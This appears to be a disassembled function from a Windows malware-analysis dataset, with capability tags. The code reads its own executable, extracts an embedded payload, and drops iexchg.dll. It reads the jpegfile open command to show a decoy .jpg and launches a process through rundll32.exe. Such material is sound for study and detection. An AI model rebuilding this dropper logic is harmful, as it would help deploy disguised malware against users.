Function at 0x4031b0
Capabilities:
Create process on windows
Get common file path
Get file size
Query or enumerate registry value
Read file on windows
Resolve function by parsing pe exports
Write and execute a file
Write file on windows

Disassembly:
mov eax, 0x1078
call fcn.00401000
push ebx
push ebp
push esi
push edi
push 0x800
call fcn.00404260
push eax
mov dword [esp + 0x20], eax
call fcn.00402fe0
push 0x400
call fcn.00404260
add esp, 0xc
push 0x400
mov ebp, eax
push ebp
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push ebp
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, eax
lea eax, [edi + 1]
push eax
call fcn.00404260
add esp, 4
push 0
lea ecx, [esp + 0x28]
push ecx
push edi
mov esi, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
shr edi, 2
dec edi
mov dword [esp + 0x10], eax
je 0x40326f
mov ecx, dword [0x406024]
mov edx, dword [str._8GV]
nop
cmp dword [esi + eax*4], ecx
jne 0x403262
cmp dword [esi + eax*4 + 4], edx
jne 0x403262
lea ebx, [eax + 2]
mov dword [esp + 0x10], ebx
inc eax
cmp eax, edi
jb 0x403250
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x403285
push esi
call fcn.00404280
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1078
ret
push 0x400
call fcn.00404260
mov edi, eax
push 0x400
push edi
call fcn.00404dd0
add esp, 0xc
push str.iexchg.dll
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0
push 0
push 4
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push edi
mov ebx, eax
call fcn.00404280
add esp, 4
push ebp
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
xor edi, edi
push edi
lea edx, [esp + 0x2c]
push edx
mov dword [esp + 0x28], eax
push 4
lea eax, [esp + 0x2c]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov edx, dword [esp + 0x20]
push edi
lea ecx, [esp + 0x2c]
push ecx
push edx
push ebp
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebp
call fcn.00404280
mov eax, dword [esp + 0x14]
mov ecx, dword [esi + eax*4 + 4]
add esp, 4
inc eax
shr ecx, 2
lea eax, [eax + ecx + 1]
mov edx, dword [esi + eax*4]
mov ebx, dword [esi + eax*4 + 4]
inc eax
cmp ebx, edi
mov dword [esp + 0x10], edx
lea ebp, [esi + eax*4 + 4]
je 0x40355b
mov eax, dword [esp + 0x18]
push edi
push edi
push 4
push edi
push edi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ecx, dword [esp + 0x10]
push ecx
push ebx
push ebp
mov dword [esp + 0x24], eax
call fcn.004020e0
add esp, 0xc
push edi
lea edx, [esp + 0x28]
push edx
push ebx
mov ebx, dword [esp + 0x24]
push ebp
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
call fcn.00404280
add esp, 4
lea eax, [esp + 0x1c]
push eax
push str.jpegfile_shellopencommand_
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4033df
lea ecx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x88]
push edx
lea eax, [esp + 0x34]
push eax
push edi
push 0x40518d
push ecx
mov dword [esp + 0x2c], 0x400
mov dword [esp + 0x44], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4033ec
mov edx, dword [esp + 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1078
ret
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x14]
cmp eax, 3
mov byte [esp + eax + 0x84], 0
jb 0x4033df
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ecx, [esp + 0x84]
push ecx
call esi
push 0x400
lea edx, [esp + 0x88c]
push edx
mov dword [esp + 0x1c], eax
push edi
mov byte [esp + eax + 0x8e], 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push str..jpg
lea eax, [esp + 0x88c]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea ecx, [esp + 0x88c]
sub ecx, 4
add eax, ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [esp + 0x888]
push edx
lea eax, [esp + 0x88]
push eax
call esi
push 0x400
lea ecx, [esp + 0x48c]
push ecx
mov dword [esp + 0x38], 0x44
mov word [esp + 0x6a], di
mov dword [esp + 0x60], edi
mov dword [esp + 0x64], edi
mov dword [esp + 0x48], edi
mov dword [esp + 0x58], edi
mov dword [esp + 0x50], edi
mov dword [esp + 0x4c], edi
mov dword [esp + 0x5c], edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x78], edi
mov dword [esp + 0x70], edi
mov dword [esp + 0x74], edi
mov dword [esp + 0x40], edi
mov dword [esp + 0x3c], edi
mov dword [esp + 0x6c], edi
mov dword [esp + 0x44], edi
mov word [esp + 0x68], 5
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push str.System32_
lea edx, [esp + 0x48c]
push edx
call esi
cmp byte [esp + 0x85], 0x3a
lea eax, [esp + 0x84]
push eax
je 0x403518
lea ecx, [esp + 0x48c]
push ecx
lea edx, [esp + 0xc90]
push str._s_s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x403522
lea ecx, [esp + 0xc8c]
push ecx
call ebx
push str.rundll32.exe
lea edx, [esp + 0x48c]
push edx
call esi
lea eax, [esp + 0x74]
push eax
lea ecx, [esp + 0x34]
push ecx
push 0x4053e4
push edi
push edi
push edi
push edi
push edi
lea edx, [esp + 0xca8]
push edx
lea eax, [esp + 0x4ac]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1078
ret